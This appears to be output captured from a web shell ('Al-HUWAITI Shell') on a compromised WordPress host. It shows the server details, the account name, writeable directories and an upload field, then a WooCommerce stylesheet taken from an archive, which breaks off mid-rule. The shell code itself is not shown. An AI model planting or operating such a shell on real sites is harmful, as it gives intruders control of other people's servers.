hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : chryzalihi ( 621211)
PHP Version : 8.3.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/c/h/r/chryzalihi/www/wp-content/languages/themes/the/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/c/h/r/chryzalihi/www/wp-content/languages/themes/the/build.tar
woocommerce.css000060400000134621152435223340007603 0ustar00.pswp {
    z-index: 999999;
}

/*=========================================
 Shop Listing Page style
 ========================================*/
 .woocommerce .woocommerce-result-count,
 .woocommerce-page .woocommerce-result-count,
 .woocommerce .woocommerce-ordering,
 .woocommerce-page .woocommerce-ordering{
 	margin-bottom: 40px;
 	font-size: 14px;
 	line-height: 1.785em;
 	color: #999;
 	font-weight: 300;
 }

 .woocommerce .woocommerce-ordering,
 .woocommerce-page .woocommerce-ordering{
	 border: 1px solid #eee;
 }


 .woocommerce .woocommerce-ordering select,
 .woocommerce-page .woocommerce-ordering select{
 	font-size: 14px;
 	line-height: 1.785em;
 	text-align: left;
 	padding-right: 10px;
 	padding-left: 5px;
 	border: 0;
 	height: 42px;
 }

 .woocommerce .woocommerce-ordering,
 .woocommerce-page .woocommerce-ordering{
 	position: relative;

 }

 .woocommerce .woocommerce-ordering:after,
 .woocommerce-page .woocommerce-ordering:after{
 	position: absolute;
 	top: 0;
 	right: 0;
 	content: '';
 	background-color: #fff;
 	width: 20px;
 	height: 100%;
 	text-align: center;
 	pointer-events: none;
 	line-height: 40px;
 	font-size: 15px;
 	color: #111;
 	background-image: url('data:image/svg+xml; utf-8, <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="%23111" d="M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z"></path></svg>');
 	background-repeat: no-repeat;
 	background-position: center left;
 	background-size: 10px;
 }

 .woocommerce ul.products li.product, 
 .woocommerce-page ul.products li.product {
 	text-align: center;
 	position: relative;
 }

 .woocommerce .products ul:before,
 .woocommerce ul.products:before,
 .woocommerce .products ul:after,
 .woocommerce ul.products:after{display: none;}

 .woocommerce ul.products li.product a:focus{
 	outline: thin dotted;
 }

 .woocommerce ul.products li.product .onsale,
 .single-product .product .onsale{
 	width: 45px;
 	height: 45px;
 	line-height: 40px;
 	font-weight: 400;
 	background: #e54b4b;
 	font-size: 10px;
 	text-transform: uppercase;
 	color: #fff;
 	letter-spacing: 1px;
 	left: 15px;
 	top: 15px;
 }

 .woocommerce .star-rating:before{color: #ffc733;}

 .woocommerce ul.products li.product .woocommerce-loop-category__title,
 .woocommerce ul.products li.product .woocommerce-loop-product__title,
 .woocommerce ul.products li.product h3{
 	padding: 0;
 	color: #111;
 	font-weight: 400;
 	font-size: 14px;
 	line-height: 1.285em;
 	margin: 0 0 8px;
 }

 .woocommerce ul.products li.product .price,
 .woocommerce div.product p.price,
 .woocommerce div.product span.price{
 	color: #b5b5b5;
 	font-size: 14px;
 	line-height: 1.5em;
 	font-weight: 500;
 }

 .woocommerce ul.products li.product .price del,
 .woocommerce div.product p.price del,
 .woocommerce div.product span.price del,
 .woocommerce ul.products li.product .price ins,
 .woocommerce div.product p.price ins,
 .woocommerce div.product span.price ins{
 	display: inline-block;
 	vertical-align: middle;
 	font-weight: 500;
 	opacity: 1;
 	margin: 0 10px;
 }

 .woocommerce ul.products li.product .price ins,
 .woocommerce div.product p.price ins,
 .woocommerce div.product span.price ins{
 	color: #c12032;
 }

 .woocommerce ul.products li.product .button{margin-top: 0;}

 .woocommerce ul.products li.product .add_to_cart_button,
 .woocommerce ul.products li.product .ajax_add_to_cart,
 .woocommerce ul.products li.product .product_type_external{
 	background: #111;
 	color: #fff;
 	text-transform: uppercase;
 	padding: 15px 10px;
 	min-width: 150px;
 	letter-spacing: 1px;
 	border-radius: 0;
 	font-size: 12px;
 	font-weight: 500;
 	position: absolute;
 	top: 50%;
 	left: 50%;
 	-webkit-transform: translate(-50%, -150%);
 	-moz-transform: translate(-50%, -150%);
 	transform: translate(-50%, -150%);
 	-webkit-transition: ease 0.2s;
 	-moz-transition: ease 0.2s;
 	transition: ease 0.2s;
 	opacity: 0;
 	max-width: 95%;
 }

 .woocommerce ul.products li.product .added_to_cart{
 	background: #111;
 	color: #fff;
 	text-transform: uppercase;
 	padding: 8px 10px;
 	min-width: 175px;
 	letter-spacing: 1px;
 	border-radius: 0;
 	font-size: 13px;
 	font-weight: 400;
 	-webkit-transition: ease 0.2s;
 	-moz-transition: ease 0.2s;
 	transition: ease 0.2s;
 	position: relative;
 }

 .woocommerce ul.products li.product .added_to_cart:hover{
 	background: #d7b79e;
 	color: #fff;
 	box-shadow: none;
 }

 .woocommerce ul.products li.product .add_to_cart_button:hover,
 .woocommerce ul.products li.product .product_type_external:hover,
 .woocommerce ul.products li.product .ajax_add_to_cart:hover{
 	background: #d7b79e;
 	color: #fff;
 	box-shadow: none;
 }

 .woocommerce ul.products li.product .add_to_cart_button:hover:after,
 .woocommerce ul.products li.product .add_to_cart_button:focus-within:after,
 .woocommerce ul.products li.product .product_type_external:hover:after,
 .woocommerce ul.products li.product .product_type_external:focus-within:after{
 	opacity: 1;
 }

 .woocommerce ul.products li.product:hover .button,
 .woocommerce-page ul.products li.product:hover .button, 
 .woocommerce ul.products li.product:focus-within .button,
 .woocommerce-page ul.products li.product:focus-within .button{
 	opacity: 1;
 }

 .woocommerce ul.products li.product .star-rating{
 	font-size: 13px;
 	margin: 0 auto 15px;
 	color: #f5b223;
 }

 .woocommerce ul.products li.product .star-rating span{color: #f5b223;}

/*==============================
 Pagination style
 ==============================*/
 .woocommerce nav.woocommerce-pagination{
 	text-align: center;
 	margin-top: 0;
 }

 .woocommerce nav.woocommerce-pagination ul{
 	border: 0;
 	display: block;
 	overflow: hidden;
 	text-align: center;
 	white-space: normal;
 	position: relative;
 }

 .woocommerce nav.woocommerce-pagination ul li a{
 	display: block;
 	color: #666;
 	padding: 10px 14px;
 	-webkit-transition: ease 0.2s;
 	-moz-transition: ease 0.2s;
 	transition: ease 0.2s;
 }

 .woocommerce nav.woocommerce-pagination ul li a:hover, 
 .woocommerce nav.woocommerce-pagination ul li a:focus{
 	text-decoration: none;
 	color: #111;
 	background: none;
 }

 .woocommerce nav.woocommerce-pagination ul li{
 	display: inline-block;
 	vertical-align: middle;
 	border: 0;
 	float: none;
 	margin: 0 3px;
 }

 .woocommerce nav.woocommerce-pagination ul li span.current{
 	display: block;
 	color: #111;
 	padding: 10px 14px;
 	border: 2px solid #111;
 	border-radius: 50%;
 	background: none;
 }

 .woocommerce nav.woocommerce-pagination ul li .next,
 .woocommerce nav.woocommerce-pagination ul li .prev{
 	font-size: 25px;
 }

 .woocommerce nav.woocommerce-pagination ul li .next{
 	position: absolute;
 	top: 0;
 	right: 0;
 }

 .woocommerce nav.woocommerce-pagination ul li .prev{
 	left: 0;
 	top: 0;
 	position: absolute;
 }

/*===============================
 Detail page style
 ================================*/
 .woocommerce div.product div.summary,
 .woocommerce div.product div.images{margin-bottom: 4em;}

 .woocommerce .product .woocommerce-product-gallery .flex-viewport{margin: 0 0 10px;}

 .woocommerce div.product div.images .flex-control-thumbs{
 	display: grid;
 	grid-template-columns: repeat(auto-fit, minmax(45px, 1fr));
 	grid-gap: 10px;
 }

 .woocommerce div.product div.images .flex-control-thumbs li{
 	width: 100%;
 }

 .woocommerce div.product .woocommerce-product-gallery--columns-4 .flex-control-thumbs li:nth-child(4n+1){
 	clear: none;
 }

 .woocommerce .entry-summary{margin-top: 0;}

 .woocommerce div.product .product_title{
 	font-size: 42px;
 	line-height: 1.25em;
 	color: #111;
 	margin: 0 0 20px;
 	font-weight: 700;
 	position: relative;
 	font-family: 'Cormorant Garamond', serif;
 }

 .woocommerce div.product .entry-summary .woocommerce-product-rating{margin: 0 0 20px;}

 .woocommerce div.product .entry-summary .woocommerce-product-rating .star-rating{
 	font-size: 18px;
 	margin-top: 5px;
 }

 .woocommerce div.product .entry-summary .woocommerce-product-rating .star-rating:before{
 	color: #b5b5b5;
 }

 .woocommerce div.product .entry-summary .woocommerce-product-rating .star-rating span{color: #f5b223;}

 .woocommerce div.product .entry-summary .woocommerce-product-rating .woocommerce-review-link{color: #b5b5b5;}

 .woocommerce div.product .entry-summary .woocommerce-product-rating .woocommerce-review-link:hover {
 	text-decoration: none;
 	color: #32b67a;
 }

 .woocommerce div.product .entry-summary .price{
 	font-size: 30px;
 	margin: 0 0 20px;
 }

 .woocommerce div.product .entry-summary .price del{
 	margin-right: 5px;
 	color: #b5b5b5;
 	font-size: 20px;
 	vertical-align: bottom;
 	margin: 0;
 	font-weight: 400;
 }

 .woocommerce div.product .entry-summary .price ins{
 	font-weight: 600;
 	vertical-align: bottom;
 	margin: 0;
 	color: #111;
 	font-size: 30px;
 	font-weight: 500;
 	color: #e54b4b;
 }

 .woocommerce div.product .entry-summary .woocommerce-product-details__short-description{
 	font-weight: 300;
 }

 .woocommerce div.product .entry-summary .variations_form,
 .woocommerce div.product .entry-summary .cart{
 	padding-bottom: 30px;
 	border-bottom: 1px solid #e5e5e5;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr,
 .woocommerce div.product .entry-summary .variations_form table.variations tr td{
 	display: block;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr{
 	margin: 0 0 20px;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr td label{
 	font-size: 14px;
 	display: block;
 	margin: 0;
 	font-weight: 400;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr td select{
 	height: 45px;
 	color: #b5b5b5;
 	font-size: 14px;
 	padding: 0 10px;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr td .reset_variations{
 	color: #b5b5b5;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr td .reset_variations:before{
 	content: '';
 	font-size: 0.8888em;
 	color: #666;
 	margin-right: 5px;
 	background-image: url('data:image/svg+xml; utf-8, <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="%23666" d="M440.935 12.574l3.966 82.766C399.416 41.904 331.674 8 256 8 134.813 8 33.933 94.924 12.296 209.824 10.908 217.193 16.604 224 24.103 224h49.084c5.57 0 10.377-3.842 11.676-9.259C103.407 137.408 172.931 80 256 80c60.893 0 114.512 30.856 146.104 77.801l-101.53-4.865c-6.845-.328-12.574 5.133-12.574 11.986v47.411c0 6.627 5.373 12 12 12h200.333c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12h-47.411c-6.853 0-12.315 5.729-11.987 12.574zM256 432c-60.895 0-114.517-30.858-146.109-77.805l101.868 4.871c6.845.327 12.573-5.134 12.573-11.986v-47.412c0-6.627-5.373-12-12-12H12c-6.627 0-12 5.373-12 12V500c0 6.627 5.373 12 12 12h47.385c6.863 0 12.328-5.745 11.985-12.599l-4.129-82.575C112.725 470.166 180.405 504 256 504c121.187 0 222.067-86.924 243.704-201.824 1.388-7.369-4.308-14.176-11.807-14.176h-49.084c-5.57 0-10.377 3.842-11.676 9.259C408.593 374.592 339.069 432 256 432z"></path></svg>');
 	background-repeat: no-repeat;
 	background-position: center;
 	width: 12px;
 	height: 12px;
 	display: inline-block;
 	vertical-align: middle;
 }

 .woocommerce div.product .entry-summary .variations_form table.variations tr td .reset_variations:hover{
 	text-decoration: none;
 }

 .woocommerce div.product .entry-summary .variations_form .single_variation_wrap .quantity{
 	display: inline-block;
 	width: 74px;
 	position: relative;
 	margin-right: 20px;
 }

 .woocommerce div.product .entry-summary .variations_form .single_variation_wrap .quantity input[type="number"]{
 	height: 55px;
 	border: 1px solid #e5e5e5;
 	width: 100%;
 	font-size: 24px;
 	line-height: 1em;
 	color: #111;
 	border-radius: 0;
 }

 .woocommerce div.product .entry-summary .variations_form .single_variation_wrap .button{
 	display: inline-block;
 	vertical-align: top;
 	float: none;
 	font-size: 13px;
 	font-weight: 600;
 	letter-spacing: 1px;
 	background: #111;
 	color: #fff;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 15px 30px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce div.product .entry-summary .variations_form .single_variation_wrap .button:hover{
 	opacity: 1;
 	background: #d7b79e;
 	color: #fff;
 }

 .woocommerce div.product .entry-summary .product_meta{
 	font-size: 14px;
 	color: #b5b5b5;
 }

 .woocommerce div.product .entry-summary .product_meta .sku_wrapper,
 .woocommerce div.product .entry-summary .product_meta .posted_in{
 	display: block;
 }

 .woocommerce div.product .entry-summary .product_meta .posted_in a,
 .woocommerce div.product .entry-summary .product_meta .tagged_as a{
 	color: #666;
 }

 .woocommerce div.product .entry-summary .product_meta .posted_in a:hover,
 .woocommerce div.product .entry-summary .product_meta .tagged_as a:hover{
 	text-decoration: none;
 	color: #f1d3d3;
 }

 .woocommerce div.product form.cart div.quantity{
 	float: none;
 	margin-bottom: 10px;
 }

 .woocommerce .quantity .qty{
 	width: 4.631em;
 }

 .woocommerce #respond input#submit.alt,
 .woocommerce a.button.alt,
 .woocommerce button.button.alt,
 .woocommerce input.button.alt{
 	background: #639bbc;
 	color: #fff;
 	font-size: 15px;
 	font-weight: 700;
 	line-height: 20px;
 	padding: 12px 22px;
 	text-transform: uppercase;
 	border-radius: 0;
 }

 .woocommerce #respond input#submit.alt:hover,
 .woocommerce a.button.alt:hover,
 .woocommerce button.button.alt:hover,
 .woocommerce input.button.alt:hover{
 	background: #639bbc;
 	color: #fff;
 	opacity: 0.8;
 }

 .woocommerce div.product form.cart .single_add_to_cart_button,
 .woocommerce div.product .cart .single_add_to_cart_button.alt{
 	display: inline-block;
 	vertical-align: top;
 	float: none;
 	font-size: 14px;
 	font-weight: 400;
 	letter-spacing: 1px;
 	background: #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 15px 30px;
 	color: #fff;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce div.product form.cart .single_add_to_cart_button:hover,
 .woocommerce div.product .cart .single_add_to_cart_button.alt:hover{
 	background: #d7b79e;
 	opacity: 1;
 	color: #fff;
 }

/*=======================
 Tab style
 =======================*/
 .woocommerce div.product .woocommerce-tabs{margin-top: 40px;}

 .woocommerce div.product .woocommerce-tabs ul.tabs{
 	font-size: 14px;
 	margin: 0;
 	text-align: center;
 }

 .woocommerce div.product .woocommerce-tabs ul.tabs li a{
 	font-weight: 400;
 	text-transform: none;
 	padding: 10px 30px;
 	color: #666;
 }

 .woocommerce div.product .woocommerce-tabs ul.tabs li{
 	margin: 0;
 	background: none;
 	padding: 0;
 	border: 1px solid #e5e5e5;
 }

 .woocommerce div.product .woocommerce-tabs ul.tabs li::after,
 .woocommerce div.product .woocommerce-tabs ul.tabs li::before{display: none;}

 .woocommerce div.product .woocommerce-tabs ul.tabs li{border-radius: 0;}

 .woocommerce div.product .woocommerce-tabs ul.tabs li.active a{color: #111;}

 .woocommerce div.product .woocommerce-tabs .panel{
 	border: 1px solid #e5e5e5;
 	border-left: 0;
 	border-right: 0;
 	border-bottom: 0;
 	border-radius: 0;
 	border-top: 0;
 	box-shadow: none;
 	padding: 30px 0;
 	font-size: 14px;
 }

 .woocommerce div.product .woocommerce-tabs .panel h2{
 	font-size: 30px;
 	line-height: 1.285em;
 	color: #111;
 	margin: 0 0 30px;
 	font-weight: 700;
 	position: relative;
 	font-family: 'Cormorant Garamond', serif;
 }

 .woocommerce div.product .woocommerce-tabs ul.tabs li.active{
 	background: #fff;
 	border-bottom-color: #fff;
 }

 .woocommerce #reviews #comments ol.commentlist{
 	padding: 0;
 	margin: 0 0 40px;
 }

 .woocommerce #reviews #comments ol.commentlist li img.avatar{
 	width: 50px;
 	height: 50px;
 	object-fit: cover;
 	border-radius: 50%;
 	background: none;
 	border: 0;
 	top: 10px;
 	left: 10px;
 }

 .woocommerce #reviews #comments ol.commentlist li .comment-text{
 	margin: 0 0 0 50px;
 	border: 0;
 	position: relative;
 }

 .woocommerce #reviews #comments ol.commentlist li .comment-text .description{font-size: 14px;}

 .woocommerce #reviews #comments ol.commentlist li .comment-text .meta{margin: 0 0 5px;}

 .woocommerce #reviews #comments ol.commentlist li .comment-text .meta .woocommerce-review__author{
 	display: block;
 	font-weight: 400;
 	color: #111;
 	font-size: 16px;
 	line-height: 1em;
 }

 .woocommerce #reviews #comments ol.commentlist li .comment-text .meta .woocommerce-review__dash{display: none;}

 .woocommerce #reviews #comments ol.commentlist li .comment-text .meta time{
 	color: #b5b5b5;
 	font-size: 12px;
 	line-height: 1em;
 }

 .woocommerce #reviews #comments ol.commentlist li .comment-text .star-rating{font-size: 18px;}

 .woocommerce #reviews #comments ol.commentlist li .comment-text .star-rating:before{
 	color: #b5b5b5;
 }

 .woocommerce #reviews #comments ol.commentlist li .comment-text .star-rating span{
 	color: #fecb00;
 }

 .woocommerce #reviews{
 	display: grid;
 	grid-template-columns: repeat(2, 1fr);
 	grid-gap: 30px;
 }

/*===================================
 Review form
 ===================================*/
 .woocommerce #reviews .comment-respond .comment-reply-title{
 	font-size: 22px;
 	line-height: 1.285em;
 	color: #111;
 	margin: 0 0 30px;
 	font-weight: 400;
 	position: relative;
 }

 .woocommerce #reviews .comment-respond .comment-form{
 	font-size: 14px;
 	color: #b5b5b5;
 }

 .woocommerce #reviews .comment-respond .comment-form p{margin: 0 0 15px;}

 .woocommerce #reviews .comment-respond .comment-form .stars{font-size: 18px;}

 .woocommerce #reviews .comment-respond .comment-form textarea{
 	height: 140px !important;
 	resize: vertical;
 	border-radius: 0;
 	color: #111;
 }

 .woocommerce #reviews .comment-respond .comment-form input[type="text"],
 .woocommerce #reviews .comment-respond .comment-form input[type="email"]{border-radius: 0;}

 .woocommerce #review_form #respond .form-submit input{
 	display: inline-block;
 	vertical-align: top;
 	float: none;
 	font-size: 14px;
 	font-weight: 400;
 	letter-spacing: 1px;
 	background: #111;
 	border: 1px solid #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 15px 30px;
 	color: #fff;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce #review_form #respond .form-submit input:hover{
 	background: none;
 	color: #111;
 }

 .woocommerce #reviews #comments ol.commentlist li{
 	background: #f9f9f9;
 	padding: 10px;
 }

/*=====================================
 You may like products
 =====================================*/
 .woocommerce div.product .up-sells{margin: 0 0 50px;}

 .woocommerce div.product .up-sells > h2,
 .woocommerce div.product .related > h2{
 	font-size: 22px;
 	line-height: 1.285em;
 	color: #111;
 	margin: 0 0 30px;
 	padding-bottom: 10px;
 	font-weight: 400;
 	position: relative;
 	text-align: center;
 }

/*=====================================
 Related products
 =====================================*/
 .woocommerce .related.products h2{
 	color: #343434;
 	font-size: 28px;
 	line-height: 32px;
 	letter-spacing: 1px;
 	margin: 0 0 30px;
 	position: relative;
 }

 .woocommerce .star-rating{
 	font-size: 0.8125em;
 	margin: 0 auto 15px;
 }

 .woocommerce p.stars a{color: #f5b223;}

/*============================
 Woocommerce message
 ===========================*/
 .woocommerce .woocommerce-message .button{
 	font-size: 13px;
 	font-weight: 400;
 	letter-spacing: 1px;
 	background: #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 15px 30px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 	color: #fff;
 	position: relative;
 }

 .woocommerce .woocommerce-message .button:after{
 	content: '';
 	position: absolute;
 	top: 1px;
 	right: 1px;
 	bottom: 1px;
 	left: 1px;
 	border: 4px solid #fff;
 	opacity: 0;
 	-webkit-transition: ease 0.2s;
 	-moz-transition: ease 0.2s;
 	transition: ease 0.2s;
 }

 .woocommerce .woocommerce-message .button:hover{
 	background: #f3c9dd;
 	color: #fff;
 }

 .woocommerce .woocommerce-message .button:hover:after{opacity: 1;}

/*============================
 Cart Page
 ============================*/
 .woocommerce-cart #primary .page .entry-content table.shop_table{
 	border-radius: 0;
 	border: 0;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table th,
 .woocommerce-cart #primary .page .entry-content table.shop_table td{padding: 8px 0;}

 .woocommerce-cart #primary .page .entry-content table.shop_table th{
 	font-size: 14px;
 	font-weight: 400;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-remove{
 	text-align: center;
 	width: 35px;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-remove .remove{
 	width: auto;
 	height: auto;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-remove .remove:hover{
 	background: none;
 	color: red !important;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-thumbnail{width: 90px;}

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-thumbnail img{
 	width: 75px;
 	height: 100px;
 	object-fit: cover;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-name a{
 	color: #111;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-name a:hover{
 	text-decoration: none;
 	color: #32b67a;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-name .variation{
 	font-size: 10px;
 	text-transform: uppercase;
 	color: #999;
 	letter-spacing: 1px;
 	line-height: 1em;
 	margin: 0;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.product-name .variation dt{
 	font-weight: 400;
 }

 #add_payment_method table.cart td.actions .coupon .input-text,
 .woocommerce-cart table.cart td.actions .coupon .input-text,
 .woocommerce-checkout table.cart td.actions .coupon .input-text{
 	padding: 9px 10px;
 	width: 150px !important;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions{
 	padding: 20px 0;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .coupon{
 	width: 40%;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .coupon input[type="text"]{
 	width: 100% !important;
 	border-radius: 0;
 	padding: 13px 10px;
 	margin: 0 0 5px;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .coupon input[type="submit"]{
 	font-size: 13px;
 	font-weight: 600;
 	letter-spacing: 1px;
 	display: block;
 	border: 0;
 	background: #111;
 	color: #fff;
 	width: 100%;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 13px 29px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .coupon input[type="submit"]:hover{
 	background: #d7b79e;
 	color: #fff;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .button{
 	font-size: 13px;
 	font-weight: 400;
 	letter-spacing: 1px;
 	display: inline-block;
 	border: 2px solid #111;
 	background: none;
 	color: #111;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 13px 30px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 }

 .woocommerce-cart #primary .page .entry-content table.shop_table td.actions .button:hover{
 	background: #111;
 	color: #fff;
 }

 .woocommerce div.product form.cart .variations td.label{width: 50px;}

 .woocommerce div.product form.cart .variations select{height: 35px;}

 .woocommerce-cart #primary .page .entry-content .cart_totals{
 	background: #f6f6f6;
 	padding: 30px 30px 0;
 }

 .woocommerce-cart #primary .page .entry-content .cart_totals strong{
 	font-weight: 600;
 	color: #111;
 }

 .woocommerce-cart #primary .page .entry-content .cart_totals h2{
 	font-size: 22px;
 	line-height: 1.2em;
 	color: #111;
 	font-weight: 400;
 	margin: 0 0 20px;
 	position: relative;
 }

 .woocommerce-cart #primary .page .entry-content .cart_totals .checkout-button{
 	font-size: 13px;
 	font-weight: 600;
 	letter-spacing: 1px;
 	display: block;
 	background: #111;
 	color: #fff;
 	width: 100%;
 	border-radius: 0;
 	text-transform: uppercase;
 	padding: 13px 29px;
 	-webkit-transition: linear 0.2s;
 	-moz-transition: linear 0.2s;
 	transition: linear 0.2s;
 	position: relative;
 }

 .woocommerce-cart #primary .page .entry-content .cart_totals .checkout-button:hover{
 	opacity: 1;
 	background: #d7b79e;
 	color: #fff;
 }

 .woocommerce #respond input#submit.alt.disabled,
 .woocommerce #respond input#submit.alt.disabled:hover,
 .woocommerce #respond input#submit.alt:disabled,
 .woocommerce #respond input#submit.alt:disabled:hover,
 .woocommerce #respond input#submit.alt[disabled]:disabled,
 .woocommerce #respond input#submit.alt[disabled]:disabled:hover,
 .woocommerce a.button.alt.disabled,
 .woocommerce a.button.alt.disabled:hover,
 .woocommerce a.button.alt:disabled,
 .woocommerce a.button.alt:disabled:hover,
 .woocommerce a.button.alt[disabled]:disabled,
 .woocommerce a.button.alt[disabled]:disabled:hover,
 .woocommerce button.button.alt.disabled,
 .woocommerce button.button.alt.disabled:hover,
 .woocommerce button.button.alt:disabled,
 .woocommerce button.button.alt:disabled:hover,
 .woocommerce button.button.alt[disabled]:disabled,
 .woocommerce button.button.alt[disabled]:disabled:hover,
 .woocommerce input.button.alt.disabled,
 .woocommerce input.button.alt.disabled:hover,
 .woocommerce input.button.alt:disabled,
 .woocommerce input.button.alt:disabled:hover,
 .woocommerce input.button.alt[disabled]:disabled,
 .woocommerce input.button.alt[disabled]:disabled:hover{
 	background: #aec365;
 	pointer-events: none;
 }

/*===============================================
 Comment form style
 ===============================================*/
 .woocommerce .comment-form input[type="text"],
 .woocommerce .comment-form input[type="email"],
 .woocommerce .comment-form input[type="phone"]{
 	float: none;
 	display: block;
 	width: 100% !important;
 	margin: 0;
 	height: auto;
 	padding: 10px;
 }

 .woocommerce .comment-form .comment-form-author{
 	float: left;
 	width: 49%;
 }

 .woocommerce .comment-form .comment-form-email{
 	float: right;
 	width: 49%;
 }

 .woocommerce .comment-form textarea{
 	color: #b4b4b4;
 	padding: 10px;
 }

 .woocommerce .col2-set .col-2,
 .woocommerce-page .col2-set .col-2,
 .woocommerce .col2-set .col-1,
 .woocommerce-page .col2-set .col-1{
 	width: 49%;
 }

 .woocommerce form .form-row-first,
 .woocommerce form .form-row-last,
 .woocommerce-page form .form-row-first,
 .woocommerce-page form .form-row-last{width: 100%;}

 .woocommerce form .form-row textarea{height: 200px;}

 #add_payment_method #payment ul.payment_methods,
 .woocommerce-cart #payment ul.payment_methods,
 .woocommerce-checkout #payment ul.payment_methods{
 	padding: 1em !important;
 }

 .woocommerce .widget.widget_products ul.product_list_widget li a,
 .woocommerce .widget.widget_recent_reviews ul.product_list_widget li a,
 .woocommerce .widget.widget_recent_reviews ul.product_list_widget li .star-rating,
 .woocommerce .widget.widget_top_rated_products ul.product_list_widget li a,
 .woocommerce .widget.widget_top_rated_products ul.product_list_widget li .star-rating{margin-bottom: 5px;}

 .woocommerce .star-rating span{color: #ffc733;}

 .woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content{background: #000;}

 .woocommerce .woocommerce-product-search{
 	background: #f4f3f2;
 	border-radius: 5px;
 	margin: 0;
 	overflow: hidden;
 	padding: 14px 15px 15px 16px;
 	width: 100%;
 }

 .woocommerce .woocommerce-product-search input[type="search"]{
 	width: 85%;
 	background: none;
 	border: 0 none;
 	border-radius: 0;
 	color: #6f6f6f;
 	float: left;
 	font-size: 14px;
 	font-weight: 700;
 	margin: 0;
 	padding: 0;
 }

 .woocommerce .woocommerce-product-search input[type="submit"]{
 	background: url('../../images/bg-search.png') no-repeat 0 0;
 	border: 0;
 	border-radius: 0;
 	box-shadow: none;
 	float: right;
 	font-size: 14px;
 	height: 18px;
 	margin: 5px 0 0;
 	padding: 0;
 	text-indent: -9999px;
 	width: 17px;
 }

 .woocommerce form .form-row input.input-text,
 .woocommerce form .form-row textarea{
 	padding: 10px;
 	border-radius: 3px;
 	border: 1px solid #ccc;
 	width: 100% !important;
 }

 .woocommerce .wc_payment_methods li{
 	padding-left: 0 !important;
 	background: none !important;
 }

 .woocommerce .widget_shopping_cart .cart_list li a.remove,
 .woocommerce.widget_shopping_cart .cart_list li a.remove,
 .woocommerce a.remove{
 	line-height: 20px;
 }

 .woocommerce #respond input#submit.disabled,
 .woocommerce #respond input#submit:disabled,
 .woocommerce #respond input#submit[disabled]:disabled,
 .woocommerce a.button.disabled,
 .woocommerce a.button:disabled,
 .woocommerce a.button[disabled]:disabled,
 .woocommerce button.button.disabled,
 .woocommerce button.button:disabled,
 .woocommerce button.button[disabled]:disabled,
 .woocommerce input.button.disabled,
 .woocommerce input.button:disabled,
 .woocommerce input.button[disabled]:disabled{padding: 12px 20px;}

/*================================
 Checkout Page style
 ===============================*/
 .woocommerce-checkout .woocommerce .woocommerce-info{
 	background: #f1d3d3;
 	border-top: 0;
 	padding: 1em;
 	font-size: 14px;
 	color: #333;
 }

 .woocommerce-checkout .woocommerce .woocommerce-info:before{display: none;}

 .woocommerce-checkout .woocommerce .woocommerce-info a{
 	color: #111;
 	text-decoration: underline;
 	font-weight: 500;
 }

 .woocommerce-checkout .woocommerce .woocommerce-info a:hover{
 	text-decoration: none;
 }

 .woocommerce form.checkout_coupon,
 .woocommerce form.login,
 .woocommerce form.register{
 	border-radius: 0;
 }

 .woocommerce-checkout .woocommerce form.woocommerce-form-login input.button,
 .woocommerce-checkout .woocommerce form.checkout_coupon input.button,
 .woocommerce form.lost_reset_password input.button,
 .woocommerce .return-to-shop .button,
 .woocommerce #payment #place_order,
 .woocommerce-page #payment #place_order{
